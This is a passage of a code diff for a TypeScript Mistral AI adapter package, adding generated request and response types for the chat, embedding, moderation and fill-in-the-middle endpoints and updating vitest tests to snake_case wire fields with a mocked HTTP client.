MistralPromptModeKey | null + guardrails?: GuardrailConfig[] | null + prompt_cache_key?: string | null + /** + * @description Determines whether to serve the request using priority or standard capacity. + */ + service_tier?: RequestedServiceTierKey | null + /** + * @description Whether to inject a safety prompt before all conversations. + * @default false + * @type boolean | undefined + */ + safe_prompt?: boolean +} + +export type MistralPostV1ChatCompletionsOptions = { + body: MistralPostV1ChatCompletionsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1ChatCompletionsResponses = { + '200': + | { + contentType: 'application/json' + data: MistralPostV1ChatCompletionsStatus200Json + } + | { + contentType: 'text/event-stream' + data: MistralPostV1ChatCompletionsStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1ChatCompletionsResponse = + MistralPostV1ChatCompletionsStatus200 + +export type MistralPostV1ChatModerationsStatus200 = { + /** + * @example mod-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + model: string + results: ModerationObject[] +} + +export const mistralPostV1ChatModerationsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1ChatModerationsRequestModelEnumKey = + (typeof mistralPostV1ChatModerationsRequestModelEnum)[keyof typeof mistralPostV1ChatModerationsRequestModelEnum] + +export type MistralPostV1ChatModerationsBody = { + /** + * @description Chat to classify + */ + input: + | ( + | (SystemMessage & { + role: 'system' + }) + | (UserMessage & { + role: 'user' + }) + | (AssistantMessage & { + role: 'assistant' + }) + | (ToolMessage & { + role: 'tool' + }) + )[] + | ( + | (SystemMessage & { + role: 'system' + }) + | (UserMessage & { + role: 'user' + }) + | (AssistantMessage & { + role: 'assistant' + }) + | (ToolMessage & { + role: 'tool' + }) + )[][] + model: MistralPostV1ChatModerationsRequestModelEnumKey +} + +export type MistralPostV1ChatModerationsOptions = { + body: MistralPostV1ChatModerationsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1ChatModerationsResponses = { + '200': MistralPostV1ChatModerationsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1ChatModerationsResponse = + MistralPostV1ChatModerationsStatus200 + +export type MistralPostV1EmbeddingsStatus200 = ResponseBase & { + data: EmbeddingResponseData[] + /** + * @example cmpl-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + /** + * @example chat.completion + * @type string + */ + object: string + /** + * @example mistral-small-latest + * @type string + */ + model: string + usage: UsageInfo +} + +export const mistralPostV1EmbeddingsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1EmbeddingsRequestModelEnumKey = + (typeof mistralPostV1EmbeddingsRequestModelEnum)[keyof typeof mistralPostV1EmbeddingsRequestModelEnum] + +export type MistralPostV1EmbeddingsBody = { + /** + * @description ID of the model to use. + * @example mistral-embed + * @type string + */ + model: MistralPostV1EmbeddingsRequestModelEnumKey + metadata?: { + [key: string]: unknown + } | null + /** + * @description Text to embed. + * @example ["Embed this sentence.","As well as this one."] + */ + input: string | string[] + /** + * @description The dimension of the output embeddings when feature available. If not provided, a default output dimension will be used. + */ + output_dimension?: number | null + /** + * @description The data type of the output embeddings when feature available. If not provided, a default output data type will be used. + * @default 'float' + * @type string | undefined + */ + output_dtype?: EmbeddingDtypeKey + /** + * @description The format of embeddings in the response. + * @default 'float' + * @type string | undefined + */ + encoding_format?: EncodingFormatKey +} + +export type MistralPostV1EmbeddingsOptions = { + body: MistralPostV1EmbeddingsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1EmbeddingsResponses = { + '200': MistralPostV1EmbeddingsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1EmbeddingsResponse = MistralPostV1EmbeddingsStatus200 + +export type MistralPostV1FimCompletionsStatus200Json = + ChatCompletionResponse & { + /** + * @example codestral-latest + * @type string | undefined + */ + model?: string + } + +export type MistralPostV1FimCompletionsStatus200EventStream = { + data: CompletionChunk +} + +export type MistralPostV1FimCompletionsStatus200 = + | MistralPostV1FimCompletionsStatus200Json + | MistralPostV1FimCompletionsStatus200EventStream + +export const mistralPostV1FimCompletionsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1FimCompletionsRequestModelEnumKey = + (typeof mistralPostV1FimCompletionsRequestModelEnum)[keyof typeof mistralPostV1FimCompletionsRequestModelEnum] + +export type MistralPostV1FimCompletionsBody = { + /** + * @description ID of the model with FIM to use. + * @default 'codestral-2404' + * @example codestral-latest + * @type string + */ + model: MistralPostV1FimCompletionsRequestModelEnumKey + /** + * @description What sampling temperature to use, we recommend between 0.0 and 0.7. Higher values like 0.7 will make the output more random, while lower values like 0.2 will make it more focused and deterministic. We generally recommend altering this or `top_p` but not both. The default value varies depending on the model you are targeting. Call the `/models` endpoint to retrieve the appropriate value. + */ + temperature?: number | null + /** + * @description Nucleus sampling, where the model considers the results of the tokens with `top_p` probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or `temperature` but not both. + */ + top_p?: number | null + /** + * @description The maximum number of tokens to generate in the completion. The token count of your prompt plus `max_tokens` cannot exceed the model's context length. + */ + max_tokens?: number | null + /** + * @description Whether to stream back partial progress. If set, tokens will be sent as data-only server-side events as they become available, with the stream terminated by a data: [DONE] message. Otherwise, the server will hold the request open until the timeout or until completion, with the response containing the full result as JSON. + * @default false + * @type boolean | undefined + */ + stream?: boolean + /** + * @description Stop generation if this token is detected. Or if one of these tokens is detected when providing an array + */ + stop?: string | string[] | null + /** + * @description The seed to use for random sampling. If set, different calls will generate deterministic results. + */ + random_seed?: number | null + metadata?: { + [key: string]: unknown + } | null + /** + * @description The text/code to complete. + * @example def + * @type string + */ + prompt: string + /** + * @description Optional text/code that adds more context for the model. When given a `prompt` and a `suffix` the model will fill what is between them. When `suffix` is not provided, the model will simply execute completion starting with `prompt`. + * @default + * @example return a+b + */ + suffix?: string | null + /** + * @description The minimum number of tokens to generate in the completion. + */ + min_tokens?: number | null + prompt_cache_key?: string | null +} + +export type MistralPostV1FimCompletionsOptions = { + body: MistralPostV1FimCompletionsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1FimCompletionsResponses = { + '200': + | { + contentType: 'application/json' + data: MistralPostV1FimCompletionsStatus200Json + } + | { + contentType: 'text/event-stream' + data: MistralPostV1FimCompletionsStatus200EventStream + } +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1FimCompletionsResponse = + MistralPostV1FimCompletionsStatus200 + +export type MistralPostV1ModerationsStatus200 = { + /** + * @example mod-e5cc70bb28c444948073e77776eb30ef + * @type string + */ + id: string + model: string + results: ModerationObject[] +} + +export const mistralPostV1ModerationsRequestModelEnum = { + 'codestral-2508': 'codestral-2508', + 'codestral-embed': 'codestral-embed', + 'codestral-embed-2505': 'codestral-embed-2505', + 'codestral-latest': 'codestral-latest', + 'deepseek-v4-1-flash-1017': 'deepseek-v4-1-flash-1017', + 'glm-5-2': 'glm-5-2', + 'labs-leanstral-1-5-1': 'labs-leanstral-1-5-1', + 'magistral-medium-latest': 'magistral-medium-latest', + 'magistral-small-latest': 'magistral-small-latest', + 'ministral-14b-2512': 'ministral-14b-2512', + 'ministral-14b-latest': 'ministral-14b-latest', + 'ministral-3b-2512': 'ministral-3b-2512', + 'ministral-3b-latest': 'ministral-3b-latest', + 'ministral-8b-2512': 'ministral-8b-2512', + 'ministral-8b-latest': 'ministral-8b-latest', + 'mistral-code-fim-latest': 'mistral-code-fim-latest', + 'mistral-code-latest': 'mistral-code-latest', + 'mistral-embed': 'mistral-embed', + 'mistral-embed-2312': 'mistral-embed-2312', + 'mistral-large-4': 'mistral-large-4', + 'mistral-large-4-0': 'mistral-large-4-0', + 'mistral-large-latest': 'mistral-large-latest', + 'mistral-medium': 'mistral-medium', + 'mistral-medium-2604': 'mistral-medium-2604', + 'mistral-medium-3': 'mistral-medium-3', + 'mistral-medium-latest': 'mistral-medium-latest', + 'mistral-moderation-2603': 'mistral-moderation-2603', + 'mistral-ocr-2512': 'mistral-ocr-2512', + 'mistral-ocr-3': 'mistral-ocr-3', + 'mistral-ocr-3-0': 'mistral-ocr-3-0', + 'mistral-ocr-4': 'mistral-ocr-4', + 'mistral-ocr-4-1': 'mistral-ocr-4-1', + 'mistral-ocr-latest': 'mistral-ocr-latest', + 'mistral-small-2603': 'mistral-small-2603', + 'mistral-small-latest': 'mistral-small-latest', + 'mistral-vibe-cli-fast': 'mistral-vibe-cli-fast', + 'mistral-vibe-cli-latest': 'mistral-vibe-cli-latest', + 'mistral-vibe-cli-with-tools': 'mistral-vibe-cli-with-tools', + 'voxtral-mini-latest': 'voxtral-mini-latest', + 'voxtral-mini-realtime-2602': 'voxtral-mini-realtime-2602', + 'voxtral-mini-realtime-latest': 'voxtral-mini-realtime-latest', + 'voxtral-mini-transcribe-3': 'voxtral-mini-transcribe-3', + 'voxtral-mini-transcribe-3-0': 'voxtral-mini-transcribe-3-0', + 'voxtral-mini-transcribe-realtime-3': 'voxtral-mini-transcribe-realtime-3', + 'voxtral-mini-transcribe-realtime-3-0': + 'voxtral-mini-transcribe-realtime-3-0', + 'voxtral-mini-tts-3': 'voxtral-mini-tts-3', + 'voxtral-mini-tts-3-0': 'voxtral-mini-tts-3-0', + 'voxtral-mini-tts-latest': 'voxtral-mini-tts-latest', + 'voxtral-small-2507': 'voxtral-small-2507', + 'voxtral-small-latest': 'voxtral-small-latest', + 'voxtral-small-transcribe-3': 'voxtral-small-transcribe-3', + 'voxtral-small-transcribe-3-0': 'voxtral-small-transcribe-3-0', + 'zai-glm-5': 'zai-glm-5', + 'zai-glm-5-3': 'zai-glm-5-3', + 'zai-glm-5-3-flash': 'zai-glm-5-3-flash', + 'zai-glm-latest': 'zai-glm-latest', +} as const + +export type MistralPostV1ModerationsRequestModelEnumKey = + (typeof mistralPostV1ModerationsRequestModelEnum)[keyof typeof mistralPostV1ModerationsRequestModelEnum] + +export type MistralPostV1ModerationsBody = { + /** + * @description ID of the model to use. + * @example mistral-moderation-latest + * @type string + */ + model: MistralPostV1ModerationsRequestModelEnumKey + metadata?: { + [key: string]: unknown + } | null + /** + * @description Text to classify. + */ + input: string | string[] +} + +export type MistralPostV1ModerationsOptions = { + body: MistralPostV1ModerationsBody + path?: never + query?: never + headers?: never +} + +export type MistralPostV1ModerationsResponses = { + '200': MistralPostV1ModerationsStatus200 +} + +/** + * @description Union of all possible responses + */ +export type MistralPostV1ModerationsResponse = MistralPostV1ModerationsStatus200 diff --git a/packages/ai-mistral/tests/document-input.test.ts b/packages/ai-mistral/tests/document-input.test.ts index 3c25a7d4d8..aa2da22eee 100644 --- a/packages/ai-mistral/tests/document-input.test.ts +++ b/packages/ai-mistral/tests/document-input.test.ts @@ -3,8 +3,7 @@ import { createMistralText } from '../src/adapters/text' import type { DocumentPart } from '@tanstack/ai' // `convertContentPartToMistral` is private; reach it directly so the test -// exercises the document mapping without standing up an HTTP mock. The -// `messageToWire` step then snake-cases `documentUrl` -> `document_url`. +// exercises the document mapping without standing up an HTTP mock. const convertContentPart = ( adapter: ReturnType, part: DocumentPart, @@ -26,7 +25,7 @@ describe('mistral document content parts', () => { expect(convertContentPart(adapter, part)).toEqual({ type: 'document_url', - documentUrl: 'https://example.com/contract.pdf', + document_url: 'https://example.com/contract.pdf', }) }) @@ -42,7 +41,7 @@ describe('mistral document content parts', () => { expect(convertContentPart(adapter, part)).toEqual({ type: 'document_url', - documentUrl: 'data:application/pdf;base64,JVBERi0xLjQ=', + document_url: 'data:application/pdf;base64,JVBERi0xLjQ=', }) }) @@ -58,7 +57,7 @@ describe('mistral document content parts', () => { expect(convertContentPart(adapter, part)).toEqual({ type: 'document_url', - documentUrl: 'data:application/pdf;base64,JVBERi0xLjQ=', + document_url: 'data:application/pdf;base64,JVBERi0xLjQ=', }) }) }) diff --git a/packages/ai-mistral/tests/embedding-adapter.test.ts b/packages/ai-mistral/tests/embedding-adapter.test.ts index b902711d95..10ed20468e 100644 --- a/packages/ai-mistral/tests/embedding-adapter.test.ts +++ b/packages/ai-mistral/tests/embedding-adapter.test.ts @@ -69,7 +69,7 @@ describe('Mistral Embedding Adapter', () => { expect(spy).toHaveBeenCalledWith({ model: 'mistral-embed', - inputs: ['a red guitar', 'a blue drum kit'], + input: ['a red guitar', 'a blue drum kit'], }) expect(result.embeddings).toEqual([ { vector: [0.1, 0.2], index: 0 }, @@ -83,7 +83,7 @@ describe('Mistral Embedding Adapter', () => { expect(result.model).toBe('mistral-embed') }) - it('maps the top-level dimensions option to outputDimension for codestral-embed', async () => { + it('maps the top-level dimensions option to output_dimension for codestral-embed', async () => { const adapter = new TestMistralEmbeddingAdapter( { apiKey: 'test' }, 'codestral-embed', @@ -99,7 +99,7 @@ describe('Mistral Embedding Adapter', () => { }) expect(spy).toHaveBeenCalledWith( - expect.objectContaining({ outputDimension: 256 }), + expect.objectContaining({ output_dimension: 256 }), ) }) @@ -138,9 +138,9 @@ describe('Mistral Embedding Adapter', () => { expect(spy).toHaveBeenCalledWith( expect.objectContaining({ - outputDtype: 'int8', + output_dtype: 'int8', model: 'codestral-embed', - inputs: ['hello'], + input: ['hello'], }), ) }) diff --git a/packages/ai-mistral/tests/generated-client.test.ts b/packages/ai-mistral/tests/generated-client.test.ts new file mode 100644 index 0000000000..9ddceb2ccd --- /dev/null +++ b/packages/ai-mistral/tests/generated-client.test.ts @@ -0,0 +1,108 @@ +import { describe, expect, it, vi } from 'vitest' +import { resolveDebugOption } from '@tanstack/ai/adapter-internals' +import { createMistralClient } from '../src/client' +import { createMistralText } from '../src/adapters/text' + +const model = 'mistral-large-latest' + +type Call = [url: string, init: RequestInit] + +describe('generated Mistral client', () => { + it('sends a JSON chat completion to the generated path', async () => { + const fetcher = vi + .fn<(...args: Call) => Promise>() + .mockResolvedValue( + Response.json({ + id: 'cmpl-1', + object: 'chat.completion', + model, + created: 1, + usage: { prompt_tokens: 1, completion_tokens: 2, total_tokens: 3 }, + choices: [ + { + index: 0, + message: { role: 'assistant', content: 'hi' }, + finish_reason: 'stop', + }, + ], + }), + ) + const result = await createMistralClient( + { apiKey: 'k', baseURL: 'https://gw.example/mistral/' }, + fetcher, + ).chat.complete({ model, messages: [{ role: 'user', content: 'hi' }] }) + + const [url, init] = fetcher.mock.calls[0]! + expect(url).toBe('https://gw.example/mistral/v1/chat/completions') + expect(init.method).toBe('POST') + const headers = new Headers(init.headers) + expect(headers.get('content-type')).toBe('application/json') + expect(headers.get('authorization')).toBe('Bearer k') + expect(JSON.parse(String(init.body))).toMatchObject({ + model, + messages: [{ role: 'user', content: 'hi' }], + }) + expect(result.usage.totalTokens).toBe(3) + expect(result.choices[0]?.message?.content).toBe('hi') + }) + + it('streams a chat completion over SSE from the generated path', async () => { + const sse = [ + { id: 'c', model, choices: [{ index: 0, delta: { content: 'Hel' } }] }, + { + id: 'c', + model, + choices: [ + { index: 0, delta: { content: 'lo' }, finish_reason: 'stop' }, + ], + }, + ] + .map((chunk) => `data: ${JSON.stringify(chunk)}\n\n`) + .join('') + const fetcher = vi + .fn<(...args: Call) => Promise>() + .mockResolvedValue( + new Response(`${sse}data: [DONE]\n\n`, { + headers: { 'content-type': 'text/event-stream' }, + }), + ) + const adapter = createMistralText(model, 'k', { + baseURL: 'https://gw.example/', + }) + let text = '' + for await (const chunk of adapter.chatStream({ + threadId: 'thread-1', + logger: resolveDebugOption(false), + model, + messages: [{ role: 'user', content: 'hi' }], + modelOptions: { + response_format: { + type: 'json_schema', + jsonSchema: { name: 'out', schemaDefinition: { type: 'object' } }, + }, + }, + // The injected HTTP seam: the request never reaches `next`. + wrapFetch: () => (input, init) => fetcher(String(input), init ?? {}), + })) { + if (chunk.type === 'TEXT_MESSAGE_CONTENT') text += chunk.delta + } + + const [url, init] = fetcher.mock.calls[0]! + expect(url).toBe('https://gw.example/v1/chat/completions') + expect(init.method).toBe('POST') + expect(new Headers(init.headers).get('content-type')).toBe( + 'application/json', + ) + expect(JSON.parse(String(init.body))).toMatchObject({ + model, + stream: true, + stream_options: { include_usage: true }, + // `modelOptions.response_format` goes out snake_case. + response_format: { + type: 'json_schema', + json_schema: { name: 'out', schema: { type: 'object' } }, + }, + }) + expect(text).toBe('Hello') + }) +}) diff --git a/packages/ai-mistral/tests/mistral-adapter.test.ts b/packages/ai-mistral/tests/mistral-adapter.test.ts index d188481a8c..b1c2448d14 100644 --- a/packages/ai-mistral/tests/mistral-adapter.test.ts +++ b/packages/ai-mistral/tests/mistral-adapter.test.ts @@ -167,11 +167,11 @@ describe('Mistral adapters', () => { expect(result.data).toEqual({ note: null }) expect(mockComplete).toHaveBeenCalledWith( expect.objectContaining({ - responseFormat: { + response_format: { type: 'json_schema', - jsonSchema: { + json_schema: { name: 'structured_output', - schemaDefinition: { + schema: { type: 'object', properties: { mode: { @@ -216,11 +216,11 @@ describe('Mistral adapters', () => { expect(result.data).toEqual({ value: null }) expect(mockComplete).toHaveBeenCalledWith( expect.objectContaining({ - responseFormat: { + response_format: { type: 'json_schema', - jsonSchema: { + json_schema: { name: 'structured_output', - schemaDefinition: outputSchema, + schema: outputSchema, strict: false, }, }, diff --git a/packages/ai-mistral/tests/mistral-output-schema-chat.test.ts b/packages/ai-mistral/tests/mistral-output-schema-chat.test.ts index 35caaaa8bf..887535eda5 100644 --- a/packages/ai-mistral/tests/mistral-output-schema-chat.test.ts +++ b/packages/ai-mistral/tests/mistral-output-schema-chat.test.ts @@ -93,11 +93,11 @@ describe('chat({ outputSchema }) with Mistral', () => { expect(mockComplete).toHaveBeenCalledWith( expect.objectContaining({ - responseFormat: { + response_format: { type: 'json_schema', - jsonSchema: { + json_schema: { name: 'structured_output', - schemaDefinition: expect.objectContaining({ + schema: expect.objectContaining({ required: ['mode', 'note'], properties: expect.objectContaining({ mode: expect.objectContaining({ diff --git a/packages/ai-mistral/tests/remap-oracle.test.ts b/packages/ai-mistral/tests/remap-oracle.test.ts index 1d33c9121c..7fd0085d7f 100644 --- a/packages/ai-mistral/tests/remap-oracle.test.ts +++ b/packages/ai-mistral/tests/remap-oracle.test.ts @@ -16,21 +16,20 @@ import { } from '@mistralai/mistralai/models/errors' import { HTTPValidationError, - chatCompletionRequestToWire, chatCompletionResponseFromWire, createMistralClient, - embeddingRequestToWire, embeddingResponseFromWire, } from '../src/client' import type { ChatCompletionRequest, EmbeddingRequest, } from '@mistralai/mistralai/models/components' +import type { + MistralPostV1ChatCompletionsBody, + MistralPostV1EmbeddingsBody, +} from '../src/generated/client/types' import type { MistralClient } from '../src/client' -/** The JSON that goes on the wire: `undefined` keys are dropped. */ -const wire = (value: unknown): unknown => JSON.parse(JSON.stringify(value)) - const chatRequest: ChatCompletionRequest = { model: 'mistral-large-latest', temperature: 0.3, @@ -149,6 +148,31 @@ const embeddingRequest: EmbeddingRequest = { encodingFormat: 'base64', } +// Our client takes the wire body: the SDK's own serialization of the SDK +// request, so the sent requests can be compared. +const { chatBody, embeddingBody } = { + chatBody: ChatCompletionRequest$outboundSchema.parse(chatRequest), + embeddingBody: EmbeddingRequest$outboundSchema.parse(embeddingRequest), + // oxlint-disable-next-line eslint-js/no-restricted-syntax -- the SDK `$Outbound` types widen every enum (model, detail, dtype) to `string`; the values are the fixture literals above +} as { + chatBody: MistralPostV1ChatCompletionsBody + embeddingBody: MistralPostV1EmbeddingsBody +} + +/** + * The SDK as a `MistralClient`. The SDK takes the camelCase request, so it + * sends the fixture request that `chatBody` / `embeddingBody` serialize. + */ +const sdkClient = (sdk: Mistral): MistralClient => ({ + chat: { + complete: (_body, options) => sdk.chat.complete(chatRequest, options), + }, + embeddings: { + create: (_body, options) => + sdk.embeddings.create(embeddingRequest, options), + }, +}) + const chatResponse = { id: 'cmpl-1', object: 'chat.completion', @@ -225,18 +249,6 @@ const embeddingResponse = { } describe('Mistral remap matches the SDK schemas', () => { - it('chat request equals ChatCompletionRequest$outboundSchema', () => { - expect(wire(chatCompletionRequestToWire(chatRequest))).toEqual( - wire(ChatCompletionRequest$outboundSchema.parse(chatRequest)), - ) - }) - - it('embedding request equals EmbeddingRequest$outboundSchema', () => { - expect(wire(embeddingRequestToWire(embeddingRequest))).toEqual( - wire(EmbeddingRequest$outboundSchema.parse(embeddingRequest)), - ) - }) - it('chat response equals ChatCompletionResponse$inboundSchema', () => { expect(chatCompletionResponseFromWire(chatResponse)).toEqual( ChatCompletionResponse$inboundSchema.parse(chatResponse), @@ -296,7 +308,9 @@ async function runBoth( } const sdk = await run( - new Mistral({ apiKey: 'test-key', serverURL: 'https://gw.example/m' }), + sdkClient( + new Mistral({ apiKey: 'test-key', serverURL: 'https://gw.example/m' }), + ), ) const ours = await run( createMistralClient({ @@ -325,7 +339,7 @@ function errorFields(error: unknown) { } } -const complete = 